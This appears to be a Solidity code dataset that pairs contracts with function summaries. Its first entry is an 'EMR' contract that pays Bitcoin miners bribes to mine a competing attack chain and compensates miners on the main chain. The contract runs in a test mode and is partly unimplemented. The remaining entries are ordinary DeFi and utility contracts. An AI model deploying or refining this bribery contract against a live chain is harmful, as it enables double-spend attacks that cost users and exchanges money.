// ============================= EMR ===================================
enum emrState { deploy, init, attack, payout } // possible states of the EMR
emrState public _currentState; // current state of EMR, initialized in constructor
uint256 public _startHeight;
uint256 public _kV;
uint256 public _kB;
bytes32 public _startHash;
bool public _attackSuccessful;
uint256 public _remaining_init_cblocks;
uint256 public _remaining_init_tblocks;
bytes32 public _current_leading_hash;
uint256 public _current_leading_height;
bytes32 public _current_leading_attack_hash;
uint256 public _current_leading_attack_height;
uint256 public _number_tblocks;
uint256 public _number_cblocks;
bool public constant TEST = true; // Set if contract runs in test mode, does not actually verify PoW
uint256 public constant TARGET = 0x896c00000000000000000000000000000000000000000000; // Hard coded target for current 2016 (2016-1) blocks
struct TemplateBlock {
uint256 blockHeight; // Height at which this block shoudl occure
uint256 blockReward; // Reward to pay for this block
uint256 blockBribe; // Bribe to pay for this block
bytes32 tblockHash; // Block header with merkle-tree hash set to all zeros
bytes32 merklePath_hash; // hash of the submitted merkle path to later verify rblock
bytes32 blockCoinbase_prefix_hash; // hash of the submitted prefix and suffix of coinbase to verify rbock later
bytes32 blockCoinbase_suffix_hash;
bool mined; // indicator if a block complying to this template has been mined
bytes32 blockHash;
}
mapping(uint256 => TemplateBlock) public _tblocks; //maps height to template block
struct CompensationBlock {
bytes32 blockHash; // hash of this block header (can be calculated from header)
bytes32 prevBlockHash; // (in header)
uint256 blockHeight; // (in header)
uint256 blockReward;
address payable blockMiner; // miner payout account, lets assume we know this for the first k_V mainchain blocks
}
mapping(uint256 => CompensationBlock) public _cblocks;
struct ReceivedBlock {
bytes32 blockHash; // hash of this block header (can be calculated from header)
bytes32 prevBlockHash; // (in header)
uint256 blockHeight; // (in header)
address payable blockMiner; // miner payout account, not relevant for main chain blocks
uint256 tblockHeight; // if mined according to template, this is non-zero, zero if main chain
}
mapping(bytes32 => ReceivedBlock) public _rblocks;
mapping(address => uint256) public _payouts;
// ============================= EMR func. ===================================
/*
* @param startHeight the block height of the target chain when attack starts
* @param kV Security parameter of the victim, i.e., number of blocks on the main chain
* @param kB Security parameter of the attacker, i.e., number of block to wait after the attack has reached k_V blocks till received chain considered final
* @param startHash s
*/
function initEMR(uint256 startHeight,
uint256 kV,
uint256 kB,
bytes32 startHash) external {
require(msg.sender == _owner,"Wrong user");
require(_currentState == emrState.deploy,"Wrong state");
_startHeight = startHeight;
_kV = kV;
_kB = kB;
_startHash = startHash;
_attackSuccessful = false;
_current_leading_hash = startHash;
_current_leading_height = startHeight;
_current_leading_attack_hash = startHash;
_current_leading_attack_height = startHeight;
//remaining blocks for initialization till attack starts
_remaining_init_cblocks = kV;
_remaining_init_tblocks = kV+1;
_number_tblocks = 0;
_number_cblocks = 0;
_currentState = emrState.init; // we are now in init state and wait for k_V cblocks and k_V+1 tblocks
emit Init_start(_startHeight,_kV,_startHash);
}
event Init_start(
uint256 indexed _startHeight,
uint256 indexed _kV,
bytes32 indexed _startHash
);
function get_currentState() public view returns(uint256) {
return uint256(_currentState);
}
function submit_cblock(bytes calldata cblock,
uint256 blockHeight,
uint256 blockReward,
address payable blockMiner) payable external {
require(msg.sender == _owner, "Only owner");
require(_currentState == emrState.init,"Wrong state");
require(_remaining_init_cblocks > 0, "Enough cblocks");
bool valid = true;
CompensationBlock memory cb;
cb.blockHash = dblSha(cblock.slice(0,80)).flipBytes().toBytes32();
cb.prevBlockHash = getPrevBlockHash(cblock);
cb.blockHeight = blockHeight;
cb.blockMiner = blockMiner;
cb.blockReward = blockReward;
//check if prevBlock exsits already
if ( _startHeight+1 == cb.blockHeight ) {
require(_startHash == cb.prevBlockHash,"Previous hash not startHash");
} else {
//require(_cblocks[cb.prevBlockHash].blockHeight == cb.blockHeight - 1,"Wrong Height");
require(_cblocks[cb.blockHeight - 1].blockHash == cb.prevBlockHash);
}
if ( valid ) {
_cblocks[cb.blockHeight] = cb;
_current_leading_hash = cb.blockHash;
_current_leading_height = cb.blockHeight;
_remaining_init_cblocks = _remaining_init_cblocks - 1;
_number_cblocks = _number_cblocks + 1;
emit Valid_cblock(msg.sender,cb.blockHash,cb.prevBlockHash); //TODO: change event and remove msg.sender to save gas
}
}
event Valid_cblock(
address indexed _from,
bytes32 indexed _blockHash,
bytes32 indexed _prevBlockHash
);
function submit_tblock(bytes calldata tblock,
bytes calldata blockCoinbase_prefix,
uint256 blockHeight,
bytes calldata blockCoinbase_suffix,
bytes calldata merklePath,
uint256 blockReward,
uint256 blockBribe) payable external {
require(msg.sender == _owner);
if ( _currentState == emrState.deploy ) {
revert("EMR initialization not yet started");
}
if ( _currentState == emrState.payout ) {
revert("Already in payout phase no more blocks required");
}
if ( _currentState == emrState.init ) {
if ( _remaining_init_tblocks == 0 && _remaining_init_cblocks == 0 ) {
//in case some cblocks have been missing but we had all tblocks already
//move to attack phase if missing cblocks are here now
_currentState = emrState.attack;
}
if ( _remaining_init_tblocks > 0 ) {
require(uint256(getMerkleRoot(tblock)) == 0x0,"Merkle Root must be zero for template");
require(uint256(getPrevBlockHash(tblock)) == 0x0,"Previous hash must be zero for template");
TemplateBlock memory tb;
tb.blockHeight = blockHeight;
tb.blockReward = blockReward;
tb.blockBribe = blockBribe;
tb.mined = false;
// compute hashe of tblock header, with merkle-tree root set to all zeros for later comparison
tb.tblockHash = dblSha(tblock.slice(0,80)).flipBytes().toBytes32();
// store blockChainbase_prefix and _suffix hashes to later verify submitted ones
// Full version needs to be submitted to be emitted via event and allow for mining
tb.blockCoinbase_prefix_hash = dblSha(blockCoinbase_prefix).flipBytes().toBytes32();
tb.blockCoinbase_suffix_hash = dblSha(blockCoinbase_suffix).flipBytes().toBytes32();
// store merklePath_hash to later check validity submitted one and check validity
// Full version needs to be submitted to be emitted via event and allow for mining
tb.merklePath_hash = dblSha(merklePath).flipBytes().toBytes32();
// emit event broadcasting the values
emit New_tblock(tb.blockHeight,
tb.blockReward,
tb.blockBribe,
tblock,
blockCoinbase_prefix,
blockCoinbase_suffix,
merklePath);
// do not allow overwriting existing tblock (yet, maybe only if bribe is higher and not yet mined.)
require(_tblocks[tb.blockHeight].blockHeight == 0,"tblock must not be overwritten");
_tblocks[tb.blockHeight] = tb;
_number_tblocks = _number_tblocks + 1;
// Ony in this phase relevant:
_remaining_init_tblocks = _remaining_init_tblocks - 1;
if ( _remaining_init_tblocks == 0 && _remaining_init_cblocks == 0 ) {
//Check if we are done initializing yet, if so move to attack phase
_currentState = emrState.attack;
}
return;
}
}
if ( _currentState == emrState.attack ) {
// Extend currently running attack by one more (t)block
revert("Not yet implemented");
// Same code as above:
// - check if tblock header merkle-tree is all zeros
// - compute and store hashes of tblock data, with merkle-tree root set to all zeros
// - store height
// - store blockChainbase_prefix and _suffix
// - emit event broadcasting the values
// New and only in this phase relevant:
// - increase kV
return;
}
}
function get_tblock_data(uint256 blockHeight) public view returns(bool _mined,
uint256 _blockReward,
uint256 _blockBribe,
bytes32 _tblockHash,
bytes32 _merklePath_hash,
bytes32 _blockCoinbase_prefix_hash,
bytes32 _blockCoinbase_suffix_hash){
TemplateBlock memory tb = _tblocks[blockHeight];
_mined = tb.mined;
_blockReward = tb.blockReward;
_blockBribe = tb.blockBribe;
_tblockHash = tb.tblockHash;
_merklePath_hash = tb.merklePath_hash;
_blockCoinbase_prefix_hash = tb.blockCoinbase_prefix_hash;
_blockCoinbase_suffix_hash = tb.blockCoinbase_suffix_hash;
}
event New_tblock(
uint256 indexed _blockHeight,
uint256 indexed _blockReward,
uint256 indexed _blockBribe,
bytes _tblockHeader,
bytes _blockCoinbase_prefix,
bytes _blockCoinbase_suffix,
bytes _merklePath
);
function submit_rblock(bytes calldata rblock,
bytes calldata blockCoinbase,
bytes calldata blockCoinbase_prefix,
bytes calldata blockCoinbase_suffix,
bytes calldata merklePath) external {
require( _currentState == emrState.attack, "Not in attack phase" );
ReceivedBlock memory rb;
rb.blockHash = dblShaFlip(rblock).toBytes32();
rb.prevBlockHash = getPrevBlockHash(rblock);
rb.blockMiner = msg.sender;
uint256 target = getTargetFromHeader(rblock);
if ( TEST == false ) {
// If not in TEST mode:
// Check the PoW solution matches the target specified in the block header
// Since header cannot be changed due to later tblock check,
// this should be sufficient for blocks mined according to tblock template
require(rb.blockHash <= bytes32(target), "Difficulty of block to low");
// For main chain blocks we assume a fixed target for now:
require(target == TARGET,"Wrong Target");
// Extract address from coinbase and compare with msg.sender to
// protect against replay attacks:
require(msg.sender == getAddressFromCoinbase(blockCoinbase),"msg.sender not in coinbase");
}
// extract height from coinbase:
rb.blockHeight = getHeightFromCoinbase(blockCoinbase);
// set merkle-tree to all zeros and compare to tblock at hight
//bytes memory tblock = setMerkleRoot(rblock); //inlined
//bytes32 tblockHash = dblShaFlip(tblock).toBytes32(); //inlined
TemplateBlock memory tb = _tblocks[rb.blockHeight];
//if ( tb.tblockHash == tblockHash) {
if ( tb.tblockHash == dblShaFlip(setPrevBlockHash(setMerkleRoot(rblock))).toBytes32()) {
// Block is from attack chain with a template:
require(tb.mined == false,"No block at hight"); // check if we have some block at that hight already
// only allow sequential submissions
if ( _current_leading_attack_height == _startHeight ) {
require(_startHash == rb.prevBlockHash, "Not valid first attack chain block");
} else {
require(_rblocks[rb.prevBlockHash].blockHeight == rb.blockHeight-1, "Submitted block not sequential");
}
// Check if prefix and suffix are correct
require(tb.blockCoinbase_prefix_hash == dblSha(blockCoinbase_prefix).flipBytes().toBytes32(),"Pfx check false");
require(tb.blockCoinbase_suffix_hash == dblSha(blockCoinbase_suffix).flipBytes().toBytes32(),"Sfx check false");
// Check if merkle path is correct
require(tb.merklePath_hash == dblSha(merklePath).flipBytes().toBytes32(),"Merkle path check false");
// Check if merkle root hash is correct
bytes32 merkleRoot = abi.encodePacked(getMerkleRoot(rblock)).flipBytes().toBytes32();
bytes memory coinbaseTx = new bytes(blockCoinbase.length +
blockCoinbase_prefix.length +
blockCoinbase_suffix.length);
for (uint i = 0; i < blockCoinbase_prefix.length; i++) {
coinbaseTx[i] = blockCoinbase_prefix[i];
}
for (uint i = 0; i < blockCoinbase.length; i++) {
coinbaseTx[i + blockCoinbase_prefix.length] = blockCoinbase[i];
}
for (uint i = 0; i < blockCoinbase_suffix.length; i++) {
coinbaseTx[i + blockCoinbase_prefix.length + blockCoinbase.length] = blockCoinbase_suffix[i];
}
bytes32 coinbaseTx_hash = dblSha(coinbaseTx).toBytes32();
require(merkleRoot == computeMerkle(0, coinbaseTx_hash, merklePath),"Merkle Root mismatch");
// add new attack chain block mined according to template
tb.mined = true;
tb.blockHash = rb.blockHash;
_tblocks[rb.blockHeight] = tb;
rb.tblockHeight = rb.blockHeight;
_rblocks[rb.blockHash] = rb;
if ( _current_leading_attack_height < rb.blockHeight ) {
_current_leading_attack_height = rb.blockHeight;
_current_leading_attack_hash = rb.blockHash;
}
} else {
// Either Block is from some other/main chain, or
// block is from the attack chain after attack has succeeded
//only allow sequential submissions
bool foundPrev = false;
if (rb.blockHeight == _startHeight+1 ) {
require(_startHash == rb.prevBlockHash,"Invalid previous start hash");
foundPrev = true;
}
if ( foundPrev == false) {
for (uint i = _startHeight + 1; i < (_startHeight + 1 + _number_cblocks);i++) {
if ( _cblocks[i].blockHash == rb.prevBlockHash) {
require(_cblocks[i].blockHeight == rb.blockHeight-1,"Invalid previous cblock height");
foundPrev = true;
}
}
}
if ( foundPrev == false ) {
require(_rblocks[rb.prevBlockHash].blockHeight == rb.blockHeight - 1, "Submitted block has no valid previous");
}
// add new block
rb.tblockHeight = 0; // its not a block mined according to template
_rblocks[rb.blockHash] = rb;
}
require(_rblocks[rb.blockHash].blockHeight != 0,"No Block"); // safty check, must have an added block here
emit New_rblock(rb.blockHash,
rb.blockHeight,
tb.tblockHash,
blockCoinbase,
blockCoinbase_prefix,
blockCoinbase_suffix,
merklePath);
// check if new block is the new leader general lead, update:
if ( _current_leading_height < rb.blockHeight ) {
_current_leading_height = rb.blockHeight;
_current_leading_hash = rb.blockHash;
}
// check if we are done yet, i.e., kV+1 reached and k_B blocks on top of that
if ( _current_leading_height >= _startHeight + _kV + 1 + _kB ) {
_currentState = emrState.payout;
computePayouts();
}
}
/*
* TODO: Actually the last three values should be same as in tblock, can be omitted to save gas
*/
event New_rblock(
bytes32 indexed _rblockHash,
uint256 indexed _blockHeight,
bytes32 indexed _tblockHash,
bytes _blockCoinbase,
bytes _blockCoinbase_prefix,
bytes _blockCoinbase_suffix,
bytes _merklePath
);
function computePayouts() private {
//bool attackSuccessful = false;
ReceivedBlock memory rb = _rblocks[_current_leading_hash];
while ( rb.blockHeight != 0) {
// when we hit a block with tblockHeight at height _kV+1
// the attack chain won, otherwise main chain won
if ( rb.blockHeight == _startHeight + _kV + 1) {
if ( rb.tblockHeight != 0 ) {
_attackSuccessful = true;
}
}
if ( rb.blockHeight <= _startHeight + _kV + 1) {
if ( _attackSuccessful == true ) {
assert( rb.tblockHeight != 0 ); // safty check, there must be tblocks for every rblock now
_payouts[rb.blockMiner] += _tblocks[rb.tblockHeight].blockReward + _tblocks[rb.tblockHeight].blockBribe;
}
}
rb = _rblocks[rb.prevBlockHash];
}
if ( _attackSuccessful == true ) {
CompensationBlock memory cb;
for (uint i = _startHeight + 1; i <= ( _startHeight + _number_cblocks);i++) {
cb = _cblocks[i];
_payouts[cb.blockMiner] += cb.blockReward;
}
} else {
TemplateBlock memory tb;
for (uint i = _startHeight + 1; i <= ( _startHeight + _number_tblocks);i++) {
tb = _tblocks[i];
if (tb.mined == true) {
ReceivedBlock memory rm = _rblocks[tb.blockHash];
_payouts[rm.blockMiner] += tb.blockReward;
}
}
}
return;
}
function payout() external {
require(_currentState == emrState.payout, "Not in payout phase yet");
uint256 amount = _payouts[msg.sender];
if ( amount > 0) {
msg.sender.transfer(amount);
_payouts[msg.sender] = 0;
//emit Payed(msg.sender,amount);
}
}
/*
event Payed(
address indexed _to,
uint256 indexed _amount
);
*/
//TODO:
// * Remove strings from revert() and requires() to save gas
// * Remove invalid events to save gas
}
|
returns time from Bitcoin block header byte array of 80 bytes Bitcoin block header return uint32 timestamp from Bitcoin block header/
|
function getTimeFromHeader(bytes memory blockHeaderBytes) public pure returns(uint32){
return uint32(blockHeaderBytes.slice(68,4).flipBytes().bytesToUint());
}
| 1,753,389 |
pragma solidity ^0.5.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v2.5.0/contracts/drafts/Counters.sol";
import "./ICryptoRight.sol";
contract CryptoRight is ICryptoRight {
using Counters for Counters.Counter;
Counters.Counter copyright_ids;
struct Work {
address owner;
string uri;
}
mapping(uint => Work) public copyrights;
event Copyright(uint copyright_id, address owner, string reference_uri);
event OpenSource(uint copyright_id, string reference_uri);
event Transfer(uint copyright_id, address new_owner);
modifier onlyCopyrightOwner(uint copyright_id) {
require(copyrights[copyright_id].owner == msg.sender, "You do not have permission to alter this copyright!");
_;
}
function copyrightWork(string memory reference_uri) public {
copyright_ids.increment();
uint id = copyright_ids.current();
copyrights[id] = Work(msg.sender, reference_uri);
emit Copyright(id, msg.sender, reference_uri);
}
function openSourceWork(string memory reference_uri) public {
copyright_ids.increment();
uint id = copyright_ids.current();
copyrights[id].uri = reference_uri;
// no need to set address(0) in the copyrights mapping as this is already the default for empty address types
emit OpenSource(id, reference_uri);
}
function transferCopyrightOwnership(uint copyright_id, address new_owner) public onlyCopyrightOwner(copyright_id) {
// Re-maps a given copyright_id to a new copyright owner.
copyrights[copyright_id].owner = new_owner;
emit Transfer(copyright_id, new_owner);
}
function renounceCopyrightOwnership(uint copyright_id) public onlyCopyrightOwner(copyright_id) {
// Re-maps a given copyright_id to the 0x0000000000000000000000000000000000000000
transferCopyrightOwnership(copyright_id, address(0));
emit OpenSource(copyright_id, copyrights[copyright_id].uri);
}
}
|
no need to set address(0) in the copyrights mapping as this is already the default for empty address types
|
function openSourceWork(string memory reference_uri) public {
copyright_ids.increment();
uint id = copyright_ids.current();
copyrights[id].uri = reference_uri;
emit OpenSource(id, reference_uri);
}
| 1,785,882 |
// solium-disable security/no-inline-assembly
pragma solidity ^0.6.2;
/**
* @title a library to sequentially read memory
* @dev inspired from Andreas Olofsson's RLP
*/
library Memory {
struct Cursor {
uint256 begin;
uint256 end;
}
/**
* @dev returns a new cursor from a memory
* @return Cursor cursor to read from
*/
function read(bytes memory self) internal pure returns (Cursor memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return Cursor(ptr,ptr+self.length);
}
/**
* @dev reads 32 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes32(Cursor memory c) internal pure returns (bytes32) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 32;
return b;
}
/**
* @dev reads 30 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes30(Cursor memory c) internal pure returns (bytes30) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 30;
return bytes30(b);
}
/**
* @dev reads 28 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes28(Cursor memory c) internal pure returns (bytes28) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 28;
return bytes28(b);
}
/**
* @dev reads 10 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes10(Cursor memory c) internal pure returns (bytes10) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 10;
return bytes10(b);
}
/**
* @dev reads 3 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes3(Cursor memory c) internal pure returns (bytes3) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 3;
return bytes3(b);
}
/**
* @dev reads 2 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes2(Cursor memory c) internal pure returns (bytes2) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 2;
return bytes2(b);
}
/**
* @dev reads 1 bytes from cursor, no eof checks
* @return b the value
*/
function readBytes1(Cursor memory c) internal pure returns (bytes1) {
uint ptr = c.begin;
bytes32 b;
assembly {
b := mload(ptr)
}
c.begin += 1;
return bytes1(b);
}
/**
* @dev reads a bool from cursor (8 bits), no eof checks
* @return b the value
*/
function readBool(Cursor memory c) internal pure returns (bool) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 1;
return (b >> (256-8)) != 0;
}
/**
* @dev reads a uint8 from cursor, no eof checks
* @return b the value
*/
function readUint8(Cursor memory c) internal pure returns (uint8) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 1;
return uint8(b >> (256-8));
}
/**
* @dev reads a uint16 from cursor, no eof checks
* @return b the value
*/
function readUint16(Cursor memory c) internal pure returns (uint16) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 2;
return uint16(b >> (256-16));
}
/**
* @dev reads a uint32 from cursor, no eof checks
* @return b the value
*/
function readUint32(Cursor memory c) internal pure returns (uint32) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 4;
return uint32(b >> (256-32));
}
/**
* @dev reads a uint64 from cursor, no eof checks
* @return b the value
*/
function readUint64(Cursor memory c) internal pure returns (uint64) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 8;
return uint64(b>>(256-64));
}
/**
* @dev reads a uint240 from cursor, no eof checks
* @return b the value
*/
function readUint240(Cursor memory c) internal pure returns (uint240) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 30;
return uint240(b>>(256-240));
}
/**
* @dev reads an address from cursor, no eof checks
* @return b the value
*/
function readAddress(Cursor memory c) internal pure returns (address) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 20;
return address(b >> (256-160));
}
/**
* @dev reads a variable sized bytes, max 2^16 len, no eof check
* @return bts the value
*/
function readBytes(Cursor memory c) internal pure returns (bytes memory bts) {
uint16 len = readUint16(c);
bts = new bytes(len);
uint256 btsmem;
assembly {
btsmem := add(bts,0x20)
}
memcpy(btsmem,c.begin,len);
c.begin += len;
}
/**
* @dev checks if the cursor is *exactly* at the end of the stream
* @return c true if is *exactly* at the end
*/
function eof(Cursor memory c) internal pure returns (bool) {
return c.begin == c.end;
}
/**
* @dev copies _len bytes from _src to _dest
*/
// solium-disable security/no-assign-params
function memcpy(uint _dest, uint _src, uint _len) internal pure {
// Copy word-length chunks while possible
for ( ;_len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
}
|
reads a uint16 from cursor, no eof checks return b the value/
|
function readUint16(Cursor memory c) internal pure returns (uint16) {
uint ptr = c.begin;
uint256 b;
assembly {
b := mload(ptr)
}
c.begin += 2;
return uint16(b >> (256-16));
}
| 7,238,690 |
./full_match/5/0x6060ad2edDB0823D8b55801AF187e06D2afAd6AE/sources/project_/contracts/Hub.sol
|
renew subscription set plan and subscriptionExpiresAt
|
function addCrop(CropOptions memory _crop)
external
onlyAgrop
ifNotFreezed
isSubscriptionActive
returns (bool)
function renewSubscription(string memory _plan, uint256 _duration)
external
onlyAgrop
ifNotFreezed
{
plan = _plan;
subscriptionExpiresAt = block.timestamp + _duration;
}
| 1,873,998 |
pragma solidity ^0.4.4;
import "./VRFClient.sol";
contract RandomNumberSampleVRF is VRFClient {
bytes32 internal keyHash;
uint256 public randomResult;
mapping(bytes32=>uint256) private resultMap;
mapping(bytes32=>bool) private validIds;
//指定处理的 vrf
address private vrfCoreAddress;
constructor(address _vrfCore, bytes32 _keyHash) public {
vrfCoreAddress = _vrfCore;
keyHash = _keyHash;
}
/**
* Requests randomness from a user-provided seed
*/
function getRandomNumber(uint256 userProvidedSeed) public returns (bytes32 ) {
bytes32 requestId = vrfQuery(vrfCoreAddress, keyHash, userProvidedSeed);
validIds[requestId] = true;
return requestId;
}
/**
* Callback function used by VRF Coordinator
*/
function __callbackRandomness(bytes32 requestId, uint256 randomness) internal {
require(validIds[requestId], "id must be not used!") ;
randomResult = randomness;
resultMap[requestId]= randomResult;
delete validIds[requestId];
}
function get() public view returns(uint256){
return randomResult;
}
function getById(bytes32 id) public view returns(uint256){
return resultMap[id];
}
function checkIdFulfilled(bytes32 id) public view returns(bool){
return validIds[id];
}
}
|
Requests randomness from a user-provided seed/
|
function getRandomNumber(uint256 userProvidedSeed) public returns (bytes32 ) {
bytes32 requestId = vrfQuery(vrfCoreAddress, keyHash, userProvidedSeed);
validIds[requestId] = true;
return requestId;
}
| 2,529,751 |
./full_match/42/0x2d17723662A0e3E5Ce03d40e961B784329525985/sources/contracts/FRToken.sol
|
Returns the current per-block supply interest rate for this rToken return The supply interest rate per block, scaled by 1e18/
|
function supplyRatePerBlock() external override view returns (uint) {
uint supplyRate = interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
if(divUInt(totalBorrows,getCashPrior()) < optimalUtilisationRate)
{
return divUInt(mulUInt(supplyRate,fixedRateSlope1),1e18);
}
else
{
return divUInt(mulUInt(supplyRate,fixedRateSlope2),1e18);
}
}
| 16,252,945 |
./full_match/5/0xCa90a5CAE531cb36098C9F81baf25126A5f3b2D1/sources/contracts/decentralizedVoting.sol
|
Move the last candidate to the slot of the one to delete Remove the slot of the last candidate
|
function removeCandidate(
uint256 _instanceId,
uint256 _candidateId
) public onlyOwner(_instanceId) {
require(_instanceId <= instanceId, "Invalid instance ID");
VotingInstance storage instance = instances[_instanceId];
require(
instance.status == InstanceStatus.Open,
"Cannot remove candidates after voting has started"
);
Candidate storage candidate = instance.candidates[_candidateId];
require(candidate.id > 0, "Invalid candidate ID");
instance.candidates[_candidateId] = instance.candidates[
instance.candidateCount
];
delete instance.candidates[instance.candidateCount];
instance.candidateCount--;
}
| 11,594,960 |
./full_match/80001/0x81b3374C608a16d5b6ceAF3a0828aB79b01f33D6/sources/project_/contracts/DecentralizedInventory.sol
|
pay fee on mint pay fee on burn
|
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256 batchSize
) internal override whenNotPaused {
super._beforeTokenTransfer(from, to, tokenId, batchSize);
if (address(from) == address(0)) {
_payFee(to, mintFeePrice);
_payFee(from, burnFeePrice);
}
}
| 9,511,514 |
./full_match/43113/0x29FB6CA56d7F4485eCBaf0AEd941d52E7A662307/sources/contracts/protocol/SetToken.sol
|
MANAGER ONLY. Removes a pending module from the SetToken./
|
function removePendingModule(address _module) external onlyManager {
require(!isLocked, "Only when unlocked");
require(moduleStates[_module] == ISetToken.ModuleState.PENDING, "Module must be pending");
moduleStates[_module] = ISetToken.ModuleState.NONE;
emit PendingModuleRemoved(_module);
}
| 7,191,741 |
/*
Copyright 2021 Pulsar Trading Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/ownership/Ownable.sol";
import { PPTraderConstants } from "./PPTraderConstants.sol";
import { Math } from "../../lib/Math.sol";
import { PPGetters } from "../impl/PPGetters.sol";
import { I_PPOracle } from "../intf/I_PPOracle.sol";
import { PPBalanceMath } from "../lib/PPBalanceMath.sol";
import { PPTypes } from "../lib/PPTypes.sol";
/**
* @title PPDeleveraging
* @author Pulsar
*
* @notice Contract allowing underwater accounts to be deleveraged against offsetting accounts.
*/
contract PPDeleveraging is
Ownable,
PPTraderConstants
{
using SafeMath for uint256;
using Math for uint256;
using PPBalanceMath for PPTypes.Balance;
// ============ Structs ============
struct TradeData {
uint256 amount;
bool isBuy; // from taker's perspective
bool allOrNothing; // if true, will revert if maker's position is less than the amount
}
// ============ Events ============
event LogDeleveraged(
address indexed maker,
address indexed taker,
uint256 amount,
bool isBuy, // from taker's perspective
uint256 oraclePrice
);
event LogMarkedForDeleveraging(
address indexed account
);
event LogUnmarkedForDeleveraging(
address indexed account
);
event LogDeleveragingOperatorSet(
address deleveragingOperator
);
// ============ Immutable Storage ============
// address of the power perpetual contract
address public _POWER_PERPETUAL_;
// Waiting period for non-admin to deleverage an account after marking it.
uint256 constant public DELEVERAGING_TIMELOCK_S = 1800; // 30 minutes
// ============ Mutable Storage ============
// account => timestamp at which an account was marked as underwater
//
// After an account has been marked for the timelock period, it can be deleveraged by anybody.
// The contract admin can deleverage underwater accounts at any time.
mapping (address => uint256) public _MARKED_TIMESTAMP_;
// Address which has the ability to deleverage accounts without marking them first.
address public _DELEVERAGING_OPERATOR_;
// ============ Constructor ============
constructor (
address perpetual,
address deleveragingOperator
)
public
{
_POWER_PERPETUAL_ = perpetual;
_DELEVERAGING_OPERATOR_ = deleveragingOperator;
emit LogDeleveragingOperatorSet(deleveragingOperator);
}
// ============ External Functions ============
/**
* @notice Allows an underwater (less than 100% collateralization) account to be subsumed by any
* other account with an offsetting position (a position of opposite sign). The sender must be
* the privileged deleveraging operator unless the account has been marked as underwater for
* the timelock period.
* @dev Emits the LogDeleveraged event. May emit the LogUnmarkedForDeleveraging event.
*
* @param sender The address that called the trade() function on PowerPerpetual.
* @param maker The underwater account.
* @param taker The offsetting account.
* @param price The current oracle price of the underlying asset.
* @param data A struct of type TradeData.
* @return The amounts to be traded, and flags indicating that deleveraging occurred.
*/
function trade(
address sender,
address maker,
address taker,
uint256 price,
bytes calldata data,
bytes32 traderFlags
)
external
returns (PPTypes.TradeResult memory)
{
address perpetual = _POWER_PERPETUAL_;
require(
msg.sender == perpetual,
"msg.sender must be PowerPerpetual"
);
require(
traderFlags == 0,
"cannot deleverage after other trade operations, in the same tx"
);
_verifyPermissions(
sender,
maker
);
TradeData memory tradeData = abi.decode(data, (TradeData));
PPTypes.Balance memory makerBalance = PPGetters(perpetual).getAccountBalance(maker);
PPTypes.Balance memory takerBalance = PPGetters(perpetual).getAccountBalance(taker);
_verifyTrade(
tradeData,
makerBalance,
takerBalance,
price
);
// Bound the execution amount by the size of the maker and taker positions.
uint256 amount = Math.min(
tradeData.amount,
Math.min(makerBalance.position, takerBalance.position)
);
// When partially deleveraging the maker, maintain the same position/margin ratio.
// Ensure the collateralization of the maker does not decrease.
uint256 marginAmount;
if (tradeData.isBuy) {
marginAmount = uint256(makerBalance.margin).getFractionRoundUp(
amount,
makerBalance.position
);
} else {
marginAmount = uint256(makerBalance.margin).getFraction(amount, makerBalance.position);
}
if (amount == makerBalance.position && _isMarked(maker)) {
_unmark(maker);
}
emit LogDeleveraged(
maker,
taker,
amount,
tradeData.isBuy,
price
);
return PPTypes.TradeResult({
marginAmount: marginAmount,
positionAmount: amount,
isBuy: tradeData.isBuy,
traderFlags: TRADER_FLAG_DELEVERAGING
});
}
/**
* @notice Mark an account as underwater. An account must be marked for a period of time before
* any non-admin is allowed to deleverage that account.
* @dev Emits the LogMarkedForDeleveraging event.
*
* @param account The account to mark.
*/
function mark(
address account
)
external
{
require(
_isAccountUnderwater(account),
"Cannot mark since account is not underwater"
);
_MARKED_TIMESTAMP_[account] = block.timestamp;
emit LogMarkedForDeleveraging(account);
}
/**
* @notice Un-mark an account which is no longer underwater.
* @dev Emits the LogUnmarkedForDeleveraging event.
*
* @param account The account to unmark.
*/
function unmark(
address account
)
external
{
require(
!_isAccountUnderwater(account),
"Cannot unmark since account is underwater"
);
_unmark(account);
